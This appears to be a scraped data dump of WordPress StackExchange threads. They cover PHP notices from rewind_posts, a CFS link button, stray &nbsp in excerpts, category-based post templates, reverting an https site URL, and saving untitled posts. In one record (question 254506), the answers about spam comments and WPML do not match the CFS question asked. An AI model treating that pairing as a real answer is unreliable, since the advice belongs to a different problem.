wp-includes/query.php:function rewind_posts() {
wp-includes/query.php: $wp_query->rewind_posts();
</code></pre>
<p>Regarding these results, there are two different implementations of this <code>rewind_post</code> function in <code>query.php</code> and <code>class-wp-query.php</code>.</p>
<p>There are only two places where this function is invoked. I focus on the one related to the theme that is being used, <code>themify-wp-filters.php</code>, It is called from this function: <code>function themify_404_template</code> This does not say a lot, because I'm not viewing a 404 page.</p>
<p>I'm currently using <strong>Super Socializer plugin</strong> but I have not enabled the social commenting feature.</p>
<p>Any ideas?</p>
| [
{
"answer_id": 254400,
"author": "markratledge",
"author_id": 268,
"author_profile": "https://wordpress.stackexchange.com/users/268",
"pm_score": 3,
"selected": true,
"text": "<p>You're looking in WordPress core files for the cause of the PHP notice, which is a waste of time, as 1) I doubt you've found a new bug in WordPress, and 2) you don't want to modify WordPress core files to fix a theme or plugin issue, and 3) the error is caused by a theme or plugin and not WordPress core, but shows up in the PHP notice as pointing to core files.</p>\n\n<p>And besides all that, it's a PHP notice. Not an error, not a fatal error, but a notice. All that means is \"hey, look at me, you might want to fix me at some point, but I'm not an error.\" Read <a href=\"https://stackoverflow.com/questions/4624474/php-difference-between-notice-and-warning\">https://stackoverflow.com/questions/4624474/php-difference-between-notice-and-warning</a></p>\n\n<blockquote>\n <p>NOTICE: It is a message for saying what you should do and what you\n should not do.</p>\n \n <p>WARNING: It occurs at run time.But it do not interrupt Code execution.</p>\n \n <p>ERROR: It also occurs at run time, but program execution is not\n continued it terminates.</p>\n</blockquote>\n\n<p>So check in wp-config.php and turn off debug so you don't see the notices <a href=\"https://codex.wordpress.org/Debugging_in_WordPress\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Debugging_in_WordPress</a> Or check in php.ini of your hosting account; see <a href=\"https://stackoverflow.com/questions/1053424/how-do-i-get-php-errors-to-display\">https://stackoverflow.com/questions/1053424/how-do-i-get-php-errors-to-display</a></p>\n\n<p>To more effectively find the cause of an PHP error or notice, use Debug as linked above. But the simplest thing to do is deactivate all plugins and reactivate until you find the one that throws the notice. Then ask the plugin for help or look in their forums. Or, if a plugin is not the cause, switch to the default WordPress theme and see if the notice is in the error logs recorded by <code>wp_debug.</code></p>\n"
},
{
"answer_id": 254411,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 0,
"selected": false,
"text": "<p>I recently provided some analysis for the <a href=\"https://wordpress.stackexchange.com/questions/253704/why-is-it-necessary-to-call-rewind-posts-when-using-the-loop-more-than-once/253711#253711\"><code>rewind_posts</code></a> function.</p>\n\n<pre><code>>grep -r rewind_posts *\nwp-content/themes/magazine/themify/themify-wp-filters.php: rewind_posts();\nwp-includes/class-wp-query.php: $this->rewind_posts();\nwp-includes/class-wp-query.php: public function rewind_posts() {\nwp-includes/feed-rdf.php:<?php rewind_posts(); while (have_posts()): the_post(); ?>\nwp-includes/query.php:function rewind_posts() {\nwp-includes/query.php: $wp_query->rewind_posts();\n</code></pre>\n\n<p>Most likely the problem is not in the WordPress core, since WordPress superior engineers would not allow for such problems to occur.</p>\n\n<p>From the experience, the theme developers may forget sometimes to be clan the code so you may expect the problem in :</p>\n\n<pre><code>wp-content/themes/magazine/themify/themify-wp-filters.php: \n</code></pre>\n\n<p>Using the <code>rewind_posts</code> without checking for some conditions with <code>if()</code>.\nThe theme should have this checkers depending what will try to rewind. </p>\n\n<p>I don't have the code so I cannot say more. You may send this problem to the theme support.</p>\n"
},
{
"answer_id": 361439,
"author": "Widable Tech",
"author_id": 184813,
"author_profile": "https://wordpress.stackexchange.com/users/184813",
"pm_score": -1,
"selected": false,
"text": "<p>For removing the script, you must configure the wp-config.php as defined below.</p>\n\n<p>define( 'WP_DEBUG', false );</p>\n"
},
{
"answer_id": 379210,
"author": "Freddy Ochner",
"author_id": 133498,
"author_profile": "https://wordpress.stackexchange.com/users/133498",
"pm_score": 0,
"selected": false,
"text": "<p>For me, the solution was, calling <code>the_post()</code> before calling <code>the_content()</code>.</p>\n"
},
{
"answer_id": 379997,
"author": "Ariya",
"author_id": 199107,
"author_profile": "https://wordpress.stackexchange.com/users/199107",
"pm_score": 0,
"selected": false,
"text": "<p>I encountered the same notice and the cause was due to using wordpress <code>while(have_posts)</code> inside a single-{name}.php file.\nAnd the notice disappeared after removing the loop.</p>\n"
}
]
| 2017/01/29 | [
"https://wordpress.stackexchange.com/questions/254398",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111992/"
]
| I'm Starting a WordPress website and I'm having a problem with some of my posts.
This issue is only affecting 2 out of 4 articles and after investigating I cannot think on a reason for that.
This error message appears right below comments section:
>
> Notice: Undefined offset: 0 in
> /home/\*\*\*/public\_html/wp-includes/class-wp-query.php on line 3152
>
>
>
When I search for that line, I find this function:
[](https://i.stack.imgur.com/ZC0LK.png)
I have search for this function in my WordPress code and I only found a few matches:
```
grep -r rewind_posts *
wp-content/themes/magazine/themify/themify-wp-filters.php: rewind_posts();
wp-includes/class-wp-query.php: $this->rewind_posts();
wp-includes/class-wp-query.php: public function rewind_posts() {
wp-includes/feed-rdf.php:<?php rewind_posts(); while (have_posts()): the_post(); ?>
wp-includes/query.php:function rewind_posts() {
wp-includes/query.php: $wp_query->rewind_posts();
```
Regarding these results, there are two different implementations of this `rewind_post` function in `query.php` and `class-wp-query.php`.
There are only two places where this function is invoked. I focus on the one related to the theme that is being used, `themify-wp-filters.php`, It is called from this function: `function themify_404_template` This does not say a lot, because I'm not viewing a 404 page.
I'm currently using **Super Socializer plugin** but I have not enabled the social commenting feature.
Any ideas? | You're looking in WordPress core files for the cause of the PHP notice, which is a waste of time, as 1) I doubt you've found a new bug in WordPress, and 2) you don't want to modify WordPress core files to fix a theme or plugin issue, and 3) the error is caused by a theme or plugin and not WordPress core, but shows up in the PHP notice as pointing to core files.
And besides all that, it's a PHP notice. Not an error, not a fatal error, but a notice. All that means is "hey, look at me, you might want to fix me at some point, but I'm not an error." Read <https://stackoverflow.com/questions/4624474/php-difference-between-notice-and-warning>
>
> NOTICE: It is a message for saying what you should do and what you
> should not do.
>
>
> WARNING: It occurs at run time.But it do not interrupt Code execution.
>
>
> ERROR: It also occurs at run time, but program execution is not
> continued it terminates.
>
>
>
So check in wp-config.php and turn off debug so you don't see the notices <https://codex.wordpress.org/Debugging_in_WordPress> Or check in php.ini of your hosting account; see <https://stackoverflow.com/questions/1053424/how-do-i-get-php-errors-to-display>
To more effectively find the cause of an PHP error or notice, use Debug as linked above. But the simplest thing to do is deactivate all plugins and reactivate until you find the one that throws the notice. Then ask the plugin for help or look in their forums. Or, if a plugin is not the cause, switch to the default WordPress theme and see if the notice is in the error logs recorded by `wp_debug.` |
254,506 | <p>I have simple coding problem and I'm hoping someone to help me out.</p>
<p>I have created a custom filed with CFS and I called it tracking_url
It holds a URL value eg. google.com/?tracking123423423....</p>
<p>Filed type I set to: hyperlink in the back-end of wordpress.</p>
<p>On the front-end I want to create a button with href the value of tracking_url
I wrote this code but for reason the code is breaking. (not working as I expect to)</p>
<pre><code><button class="claim-button"> <a href="<?php echo CFS()->get( 'tracking_url' ); ?>">Claim Bonus</a> </button>
</code></pre>
<p>Maybe it because CFS is returning a hyperlink instead of text. I dont know. Any ideas how to work around this.</p>
| [
{
"answer_id": 371822,
"author": "dylzee",
"author_id": 190737,
"author_profile": "https://wordpress.stackexchange.com/users/190737",
"pm_score": 1,
"selected": false,
"text": "<p>This might be a conflict/issue with your theme. What theme are you using? Have you checked any comment or translation related settings in your themes settings (if any)?</p>\n<p>You can also try this method for troubleshooting WPML.</p>\n<ol>\n<li>Go to the WPML > Support > Troubleshooting page.</li>\n<li>Find 'Clean up' section and click on the following buttons:</li>\n</ol>\n<ul>\n<li>Clear the cache in WPML</li>\n<li>Remove ghost entries from the translation tables</li>\n<li>Fix element_type collation</li>\n<li>Set language information</li>\n</ul>\n"
},
{
"answer_id": 372040,
"author": "Bence Szalai",
"author_id": 152690,
"author_profile": "https://wordpress.stackexchange.com/users/152690",
"pm_score": 2,
"selected": false,
"text": "<p>Try to check on DB level.</p>\n<p>This SQL should give a list of all spam comments (which I assume skräpposter means):</p>\n<p><code>SELECT * FROM `wp_comments` WHERE `comment_approved` = 'spam';</code></p>\n<p>If the SQL gives 0 lines, the issue is with WordPress counting those comments, but in fact there are none. If the SQL gives a list, the issue is with the listing of those comments.</p>\n<p>It may be an issue with the term <code>spam</code> being translated when writing comments to the db, but not when reading or vice-versa. You can check all approval status tags in your db using this:</p>\n<p><code>SELECT DISTINCT `comment_approved` FROM `wp_comments`;</code></p>\n<p>(or in some dialect: <code>SELECT UNIQUE `comment_approved` FROM `wp_comments`;</code>)</p>\n<p>This should show terms like <code>1</code> (approved), <code>0</code> (pending), <code>spam</code>, <code>trash</code> etc. If you see translated string here, like <code>skräpposter</code> and similar, you may be in for a ride to find out why those terms are not written in the db as they should.</p>\n<p>If all seems fine on the db level, it's trickier to find the reason, why those are not listed. Definitely needs the target system to be investigated more.</p>\n<p>But anyway, this is where I'd start my investigation.</p>\n<p>*: assuming your db prefix is <code>wp_</code></p>\n<h2>Also:</h2>\n<p>It may be a malware infection, which may benefit from removing your ability to manage comments. They could as well hide spam comments from logged in admin user on the frontend, while showing them to regular visitors, so check your site in incognito and probably run some kind of a malware scan on it too!</p>\n"
},
{
"answer_id": 396016,
"author": "ioweyouacoke",
"author_id": 212783,
"author_profile": "https://wordpress.stackexchange.com/users/212783",
"pm_score": 0,
"selected": false,
"text": "<p>Similar problem, showed that we had comments even after deleting the entire list -- disabled WooCommerce and then refreshed the Comments list -- poof, gone!</p>\n"
}
]
| 2017/01/30 | [
"https://wordpress.stackexchange.com/questions/254506",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112031/"
]
| I have simple coding problem and I'm hoping someone to help me out.
I have created a custom filed with CFS and I called it tracking\_url
It holds a URL value eg. google.com/?tracking123423423....
Filed type I set to: hyperlink in the back-end of wordpress.
On the front-end I want to create a button with href the value of tracking\_url
I wrote this code but for reason the code is breaking. (not working as I expect to)
```
<button class="claim-button"> <a href="<?php echo CFS()->get( 'tracking_url' ); ?>">Claim Bonus</a> </button>
```
Maybe it because CFS is returning a hyperlink instead of text. I dont know. Any ideas how to work around this. | Try to check on DB level.
This SQL should give a list of all spam comments (which I assume skräpposter means):
`SELECT * FROM `wp_comments` WHERE `comment_approved` = 'spam';`
If the SQL gives 0 lines, the issue is with WordPress counting those comments, but in fact there are none. If the SQL gives a list, the issue is with the listing of those comments.
It may be an issue with the term `spam` being translated when writing comments to the db, but not when reading or vice-versa. You can check all approval status tags in your db using this:
`SELECT DISTINCT `comment_approved` FROM `wp_comments`;`
(or in some dialect: `SELECT UNIQUE `comment_approved` FROM `wp_comments`;`)
This should show terms like `1` (approved), `0` (pending), `spam`, `trash` etc. If you see translated string here, like `skräpposter` and similar, you may be in for a ride to find out why those terms are not written in the db as they should.
If all seems fine on the db level, it's trickier to find the reason, why those are not listed. Definitely needs the target system to be investigated more.
But anyway, this is where I'd start my investigation.
\*: assuming your db prefix is `wp_`
Also:
-----
It may be a malware infection, which may benefit from removing your ability to manage comments. They could as well hide spam comments from logged in admin user on the frontend, while showing them to regular visitors, so check your site in incognito and probably run some kind of a malware scan on it too! |
254,513 | <p>Wordpress is creating a &nbsp in the_excerpt. How do I remove it?</p>
<pre><code><div class="subtitulo-noticia"><?php the_excerpt(); ?></div>
</code></pre>
<p><a href="https://i.stack.imgur.com/YH1Op.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/YH1Op.png" alt="enter image description here"></a></p>
<p>&nbsp creates a space at the beginning of p</p>
<p><a href="https://i.stack.imgur.com/7KLr4.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/7KLr4.png" alt="enter image description here"></a></p>
<p>Edit: Each space in the_content creates a &nbsp, this ends up creating a &nbsp in the_excerpt. How do I create spaces in content without creating &nbsp </p>
| [
{
"answer_id": 254514,
"author": "mrben522",
"author_id": 84703,
"author_profile": "https://wordpress.stackexchange.com/users/84703",
"pm_score": 1,
"selected": false,
"text": "<p>If you can't get rid of the extra space in the admin, then use trim()</p>\n\n<pre><code><div class=\"subtitulo-noticia\"><?php echo trim(get_the_excerpt()); ?></div>\n</code></pre>\n\n<p><a href=\"http://www.w3schools.com/php/func_string_trim.asp\" rel=\"nofollow noreferrer\">http://www.w3schools.com/php/func_string_trim.asp</a></p>\n"
},
{
"answer_id": 254553,
"author": "ClodClod91",
"author_id": 110442,
"author_profile": "https://wordpress.stackexchange.com/users/110442",
"pm_score": 0,
"selected": false,
"text": "<p>Try with: </p>\n\n<pre><code>$text = str_replace( \"&nbsp\",\"\",get_the_excerpt() );\n</code></pre>\n\n<p>Maybe, replacing <code>&nbsp</code> with an empty string could be fix your problem.\nThe <code>get_the_excerpt()</code> function will get your post's excerpt and <a href=\"http://php.net/manual/en/function.str-replace.php\" rel=\"nofollow noreferrer\"><code>str_replace()</code></a> substitute <code>&nbsp</code>.</p>\n"
},
{
"answer_id": 254555,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": true,
"text": "<p>I'm not sure why there's a non-breaking space being added to the front of your excerpt. It would be best to find out what is putting that there. But in the meantime, you can add this to your theme functions.php ( or a simple plugin ) and it should take care of it.</p>\n\n<pre><code>//* Remove non-breaking space from beginning of paragraph\nadd_filter( 'the_excerpt', function( $excerpt ) {\n return str_replace( [ '<p>&nbsp; ', '<p>&nbsp;' ], '<p>', $excerpt );\n}, 999, 1 );\n</code></pre>\n"
},
{
"answer_id": 385844,
"author": "Anfuca",
"author_id": 116190,
"author_profile": "https://wordpress.stackexchange.com/users/116190",
"pm_score": 0,
"selected": false,
"text": "<p>This is my working solution:</p>\n<pre><code><?php echo trim(preg_replace('/>\\s+</m', '><', get_the_content()));?>\n</code></pre>\n"
}
]
| 2017/01/30 | [
"https://wordpress.stackexchange.com/questions/254513",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111513/"
]
| Wordpress is creating a   in the\_excerpt. How do I remove it?
```
<div class="subtitulo-noticia"><?php the_excerpt(); ?></div>
```
[](https://i.stack.imgur.com/YH1Op.png)
  creates a space at the beginning of p
[](https://i.stack.imgur.com/7KLr4.png)
Edit: Each space in the\_content creates a  , this ends up creating a   in the\_excerpt. How do I create spaces in content without creating   | I'm not sure why there's a non-breaking space being added to the front of your excerpt. It would be best to find out what is putting that there. But in the meantime, you can add this to your theme functions.php ( or a simple plugin ) and it should take care of it.
```
//* Remove non-breaking space from beginning of paragraph
add_filter( 'the_excerpt', function( $excerpt ) {
return str_replace( [ '<p> ', '<p> ' ], '<p>', $excerpt );
}, 999, 1 );
``` |
254,523 | <p>I have the following setup:</p>
<ul>
<li>3 posts: <code>post1</code>, <code>post2</code>, & <code>post3</code></li>
<li>2 categories: <code>cat1</code> & <code>cat2</code></li>
<li>2 templates: <code>singe1.php</code> & <code>single2.php</code></li>
</ul>
<p><strong></strong></p>
<ul>
<li><code>post1</code> and <code>post2</code> are assigned to <code>cat1</code></li>
<li><code>post3</code> is assigned to <code>cat2</code></li>
</ul>
<p><code>post1</code> and <code>post2</code> should use <code>template1</code> and <code>post3</code> should use <code>template2</code></p>
<p>I have found this plugin:
<a href="https://wordpress.org/plugins/single-post-template/installation/" rel="nofollow noreferrer">https://wordpress.org/plugins/single-post-template/installation/</a>
but it is for every page separate.</p>
<p>Is there any way to relate the post template and the category?</p>
| [
{
"answer_id": 254529,
"author": "Pat J",
"author_id": 16121,
"author_profile": "https://wordpress.stackexchange.com/users/16121",
"pm_score": 0,
"selected": false,
"text": "<p>You can use the <a href=\"https://developer.wordpress.org/themes/basics/template-hierarchy/\" rel=\"nofollow noreferrer\">Template Hierarchy</a> to your advantage. In your theme, you can create template files for the different categories, if you'd like.</p>\n\n<p>Let's say you have categories named <code>cats</code> and <code>dogs</code>. If you create a pair of files named <code>category-cats.php</code> and <code>category-dogs.php</code>, those files will be used as the templates for their respective categories.</p>\n\n<p>You can also use the categories' IDs in the template file names. So if <code>cats</code> is category #3 and <code>dogs</code> is category #4, then <code>category-3.php</code> and <code>category-4.php</code> will be used for the respective posts.</p>\n\n<h2>References</h2>\n\n<ul>\n<li><a href=\"https://developer.wordpress.org/themes/basics/template-hierarchy/#category\" rel=\"nofollow noreferrer\">Template Hierarchy » Categories</a></li>\n<li><a href=\"https://wphierarchy.com/\" rel=\"nofollow noreferrer\">Graphical Template Hierarchy</a></li>\n</ul>\n"
},
{
"answer_id": 254530,
"author": "Niels Lange",
"author_id": 112118,
"author_profile": "https://wordpress.stackexchange.com/users/112118",
"pm_score": 1,
"selected": false,
"text": "<p>nikolaou, </p>\n\n<p>When I understand you question correct then you want to use different templates based on the categories you're using within your posts, correct?</p>\n\n<p>If that's the case, then you only need one template (single.php) and a combination of <code>get_the_terms()</code> and <code>get_template_part()</code>.</p>\n\n<pre><code><?php\n\n$categories = get_the_terms(get_the_ID(), 'slug');\n\nif ( in_array('cat1', $categories) ) {\n get_template_part('partials/single', '1');\n} elseif ( in_array('cat2', $categories) ) {\n get_template_part('partials/single', '2');\n}\n\n?>\n</code></pre>\n\n<p>You should place the code above within <em>The Loop</em>. The two template files are called <em>single-1.php</em> and <em>single-2.php</em> and stored within a folder called <em>partials</em>.</p>\n\n<p><strong>Sources:</strong></p>\n\n<ul>\n<li><a href=\"https://developer.wordpress.org/reference/functions/get_the_terms/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/get_the_terms/</a></li>\n<li><a href=\"https://developer.wordpress.org/reference/functions/get_template_part/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/get_template_part/</a></li>\n</ul>\n"
},
{
"answer_id": 254537,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 0,
"selected": false,
"text": "<p>From your question I'm guessing that you want to assign the template without changing it (or its name). There's a filter for that called <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/single_template\" rel=\"nofollow noreferrer\"><code>single_template</code></a>. It is used to intercept WP's standard system of finding a template for a post. You would include it in your <code>functions.php</code> like this (untested):</p>\n\n<pre><code>function wpse254523_single_template ($single_template) {\n global $post;\n $cat = get_the_category($post->ID);\n if ($cat == 'cat1' || $cat == 'cat2')\n $single_template = dirname( __FILE__ ) . '/single1.php';\n elseif ($cat == 'cat3')\n $single_template = dirname( __FILE__ ) . '/single2.php';\n return $single_template;\n }\n\nadd_filter( 'single_template', 'wpse254523_single_template' );\n</code></pre>\n"
}
]
| 2017/01/30 | [
"https://wordpress.stackexchange.com/questions/254523",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112113/"
]
| I have the following setup:
* 3 posts: `post1`, `post2`, & `post3`
* 2 categories: `cat1` & `cat2`
* 2 templates: `singe1.php` & `single2.php`
* `post1` and `post2` are assigned to `cat1`
* `post3` is assigned to `cat2`
`post1` and `post2` should use `template1` and `post3` should use `template2`
I have found this plugin:
<https://wordpress.org/plugins/single-post-template/installation/>
but it is for every page separate.
Is there any way to relate the post template and the category? | nikolaou,
When I understand you question correct then you want to use different templates based on the categories you're using within your posts, correct?
If that's the case, then you only need one template (single.php) and a combination of `get_the_terms()` and `get_template_part()`.
```
<?php
$categories = get_the_terms(get_the_ID(), 'slug');
if ( in_array('cat1', $categories) ) {
get_template_part('partials/single', '1');
} elseif ( in_array('cat2', $categories) ) {
get_template_part('partials/single', '2');
}
?>
```
You should place the code above within *The Loop*. The two template files are called *single-1.php* and *single-2.php* and stored within a folder called *partials*.
**Sources:**
* <https://developer.wordpress.org/reference/functions/get_the_terms/>
* <https://developer.wordpress.org/reference/functions/get_template_part/> |
254,626 | <p>Future home of something quite cool.
If you're the site owner, log in to launch this site</p>
<p>If you are a visitor, check back soon." </p>
| [
{
"answer_id": 254642,
"author": "TheGcool",
"author_id": 112168,
"author_profile": "https://wordpress.stackexchange.com/users/112168",
"pm_score": 0,
"selected": false,
"text": "<p>If you have full control to Your website cpanel then you can change your worpress site url to https from https. Another thing you can do is you access your database from cpanel and from the listed tables you can change your site url. if you are still confused i can provide you detail image tips also.</p>\n"
},
{
"answer_id": 254664,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": 1,
"selected": false,
"text": "<p>If you don't have access to your cPanel, or don't know how to make a database change, you can instead add these 2 lines to your wp-config.php file:</p>\n\n<pre><code>define( 'WP_SITEURL', 'http://example.com/' );\ndefine( 'WP_HOME', 'http://example.com/' );\n</code></pre>\n\n<p>You'll of course want to change the urls to your actual urls. Just make sure you don't have the \"https\" but \"http\".</p>\n\n<p>This will override your database entries.</p>\n\n<p>Then go into your dashboard under settings and remove the https that you entered, hit save and you have fixed the problem. If you added https via a plugin, you'll want to turn that plugin off.</p>\n\n<p>You can then remove the two lines from your wp-config file and make sure everything still works.</p>\n\n<p><strong>Two items to note.</strong> </p>\n\n<p>One. If you're using firefox and i believe Chrome. They may continue to try to load to the SSL version of your site now that they have it it their history. I have not gone into how to fix that here, but a quick google search will tell you how.</p>\n\n<p>The other item. Just changing your db entries may not be the best idea as other it could damage serialized strings. </p>\n"
},
{
"answer_id": 254684,
"author": "Charles Xavier",
"author_id": 101716,
"author_profile": "https://wordpress.stackexchange.com/users/101716",
"pm_score": 0,
"selected": false,
"text": "<p>You can also run this query in mysql to see if you missed any of the URL, and then changed it back from https to http </p>\n\n<pre><code>SELECT * FROM wordpress.wp_options where option_value LIKE \"%example.com%\";\n</code></pre>\n"
}
]
| 2017/01/31 | [
"https://wordpress.stackexchange.com/questions/254626",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112193/"
]
| Future home of something quite cool.
If you're the site owner, log in to launch this site
If you are a visitor, check back soon." | If you don't have access to your cPanel, or don't know how to make a database change, you can instead add these 2 lines to your wp-config.php file:
```
define( 'WP_SITEURL', 'http://example.com/' );
define( 'WP_HOME', 'http://example.com/' );
```
You'll of course want to change the urls to your actual urls. Just make sure you don't have the "https" but "http".
This will override your database entries.
Then go into your dashboard under settings and remove the https that you entered, hit save and you have fixed the problem. If you added https via a plugin, you'll want to turn that plugin off.
You can then remove the two lines from your wp-config file and make sure everything still works.
**Two items to note.**
One. If you're using firefox and i believe Chrome. They may continue to try to load to the SSL version of your site now that they have it it their history. I have not gone into how to fix that here, but a quick google search will tell you how.
The other item. Just changing your db entries may not be the best idea as other it could damage serialized strings. |
254,628 | <p>Can I add a button on the menu bar that take the user to another website with the same current path? </p>
<p>For example, I am in the page with url:</p>
<pre><code>www.example.com/test/blank
</code></pre>
<p>And when press the button it takes me to the url:</p>
<pre><code>www.example.com **/ar** /test/blank
</code></pre>
| [
{
"answer_id": 254642,
"author": "TheGcool",
"author_id": 112168,
"author_profile": "https://wordpress.stackexchange.com/users/112168",
"pm_score": 0,
"selected": false,
"text": "<p>If you have full control to Your website cpanel then you can change your worpress site url to https from https. Another thing you can do is you access your database from cpanel and from the listed tables you can change your site url. if you are still confused i can provide you detail image tips also.</p>\n"
},
{
"answer_id": 254664,
"author": "rudtek",
"author_id": 77767,
"author_profile": "https://wordpress.stackexchange.com/users/77767",
"pm_score": 1,
"selected": false,
"text": "<p>If you don't have access to your cPanel, or don't know how to make a database change, you can instead add these 2 lines to your wp-config.php file:</p>\n\n<pre><code>define( 'WP_SITEURL', 'http://example.com/' );\ndefine( 'WP_HOME', 'http://example.com/' );\n</code></pre>\n\n<p>You'll of course want to change the urls to your actual urls. Just make sure you don't have the \"https\" but \"http\".</p>\n\n<p>This will override your database entries.</p>\n\n<p>Then go into your dashboard under settings and remove the https that you entered, hit save and you have fixed the problem. If you added https via a plugin, you'll want to turn that plugin off.</p>\n\n<p>You can then remove the two lines from your wp-config file and make sure everything still works.</p>\n\n<p><strong>Two items to note.</strong> </p>\n\n<p>One. If you're using firefox and i believe Chrome. They may continue to try to load to the SSL version of your site now that they have it it their history. I have not gone into how to fix that here, but a quick google search will tell you how.</p>\n\n<p>The other item. Just changing your db entries may not be the best idea as other it could damage serialized strings. </p>\n"
},
{
"answer_id": 254684,
"author": "Charles Xavier",
"author_id": 101716,
"author_profile": "https://wordpress.stackexchange.com/users/101716",
"pm_score": 0,
"selected": false,
"text": "<p>You can also run this query in mysql to see if you missed any of the URL, and then changed it back from https to http </p>\n\n<pre><code>SELECT * FROM wordpress.wp_options where option_value LIKE \"%example.com%\";\n</code></pre>\n"
}
]
| 2017/01/31 | [
"https://wordpress.stackexchange.com/questions/254628",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112194/"
]
| Can I add a button on the menu bar that take the user to another website with the same current path?
For example, I am in the page with url:
```
www.example.com/test/blank
```
And when press the button it takes me to the url:
```
www.example.com **/ar** /test/blank
``` | If you don't have access to your cPanel, or don't know how to make a database change, you can instead add these 2 lines to your wp-config.php file:
```
define( 'WP_SITEURL', 'http://example.com/' );
define( 'WP_HOME', 'http://example.com/' );
```
You'll of course want to change the urls to your actual urls. Just make sure you don't have the "https" but "http".
This will override your database entries.
Then go into your dashboard under settings and remove the https that you entered, hit save and you have fixed the problem. If you added https via a plugin, you'll want to turn that plugin off.
You can then remove the two lines from your wp-config file and make sure everything still works.
**Two items to note.**
One. If you're using firefox and i believe Chrome. They may continue to try to load to the SSL version of your site now that they have it it their history. I have not gone into how to fix that here, but a quick google search will tell you how.
The other item. Just changing your db entries may not be the best idea as other it could damage serialized strings. |
254,636 | <p>I've created (as part of a theme) a few metaboxes for my post type. The metaboxes allow the user to interact with different instances of tinyMCE. Everything is working as it should, however, I can't for the life of me figure out which hook to use for publishing a post that is missing a title/content.</p>
<p>I've had a look at <code>/wp-includes/post.php</code> and was not able to find what I am looking for.</p>
<p>My question is: What happens when I click "Publish" when the post is missing content and a title? I know it gets created and is set as a "Draft" but it doesn't run the <code>save_post</code> hook. I'd also like to mention that I've tried using <code>new_to_draft</code>.</p>
<p>I've attempted using <code>draft_post</code> but I assume that because this is probably "auto-draft" it may not work (I have also tried "auto-draft_post").</p>
<pre><code>add_action( 'save_post', array(__CLASS__, 'savePost'));
static public function savePost($post_id) {
echo 'hello';
}
</code></pre>
| [
{
"answer_id": 254639,
"author": "TheGcool",
"author_id": 112168,
"author_profile": "https://wordpress.stackexchange.com/users/112168",
"pm_score": 0,
"selected": false,
"text": "<p>If you click publish without title of your post. It will get published.This might not help you what you're seeking for. </p>\n"
},
{
"answer_id": 254641,
"author": "Tunji",
"author_id": 54764,
"author_profile": "https://wordpress.stackexchange.com/users/54764",
"pm_score": 1,
"selected": false,
"text": "<p>You can actually achieve this by using the <code>save_post</code> hook, you do need to add the post tile though as WordPress uses it to create the permalink for the post:</p>\n\n<pre><code>add_action( 'save_post', 'wpse254636_save_without_content_title', 10, 2 );\n\nfunction wpse254636_save_without_content_title ( $post_id, $post ){\n //This temporarily removes action to prevent infinite loops\n remove_action( 'save_post', 'wpse254636_save_without_content_title' );\n\n if ( 'post' !== $post->post_type )\n return;\n\n //Get your custom title\n $post_title = 'your custom title here';\n\n //UPDATE TITLE\n wp_update_post( array(\n 'ID' => $post_id,\n 'post_title' => $post_title,\n ));\n\n //redo action\n add_action( 'save_post', 'wpse254636_save_without_content_title', 10, 2 );\n}\n</code></pre>\n"
},
{
"answer_id": 254644,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 2,
"selected": true,
"text": "<p>Ever since the <a href=\"https://wordpress.stackexchange.com/questions/28021/how-to-publish-a-post-with-empty-title-and-empty-content\">solution mentioned here</a>, WP has been updated and now allows you to manipulate the save process of <a href=\"https://developer.wordpress.org/reference/functions/wp_insert_post/\" rel=\"nofollow noreferrer\"><code>wp_insert_post</code></a>. If you look at the lines 3035 to 3057 (WP 4.7) the result of the check for empty title and content is stored in <code>$maybe_empty</code>. This variable is then run through a filter called <code>wp_insert_post_empty_content</code>. If that filter returns something that evaluates to 'true' the save process is halted. So you could have it return false to overrule the check for emptiness:</p>\n\n<pre><code>add_filter ('wp_insert_post_empty_content', function() { return false; });\n</code></pre>\n\n<p><strong>Update</strong>. Note that post information is passed to the filter as well, so you can write a more sophisticated filter, for instance checking for the post type before deciding to return true or false, or impose a maximum length on the title, and so on. </p>\n"
}
]
| 2017/01/31 | [
"https://wordpress.stackexchange.com/questions/254636",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/54053/"
]
| I've created (as part of a theme) a few metaboxes for my post type. The metaboxes allow the user to interact with different instances of tinyMCE. Everything is working as it should, however, I can't for the life of me figure out which hook to use for publishing a post that is missing a title/content.
I've had a look at `/wp-includes/post.php` and was not able to find what I am looking for.
My question is: What happens when I click "Publish" when the post is missing content and a title? I know it gets created and is set as a "Draft" but it doesn't run the `save_post` hook. I'd also like to mention that I've tried using `new_to_draft`.
I've attempted using `draft_post` but I assume that because this is probably "auto-draft" it may not work (I have also tried "auto-draft\_post").
```
add_action( 'save_post', array(__CLASS__, 'savePost'));
static public function savePost($post_id) {
echo 'hello';
}
``` | Ever since the [solution mentioned here](https://wordpress.stackexchange.com/questions/28021/how-to-publish-a-post-with-empty-title-and-empty-content), WP has been updated and now allows you to manipulate the save process of [`wp_insert_post`](https://developer.wordpress.org/reference/functions/wp_insert_post/). If you look at the lines 3035 to 3057 (WP 4.7) the result of the check for empty title and content is stored in `$maybe_empty`. This variable is then run through a filter called `wp_insert_post_empty_content`. If that filter returns something that evaluates to 'true' the save process is halted. So you could have it return false to overrule the check for emptiness:
```
add_filter ('wp_insert_post_empty_content', function() { return false; });
```
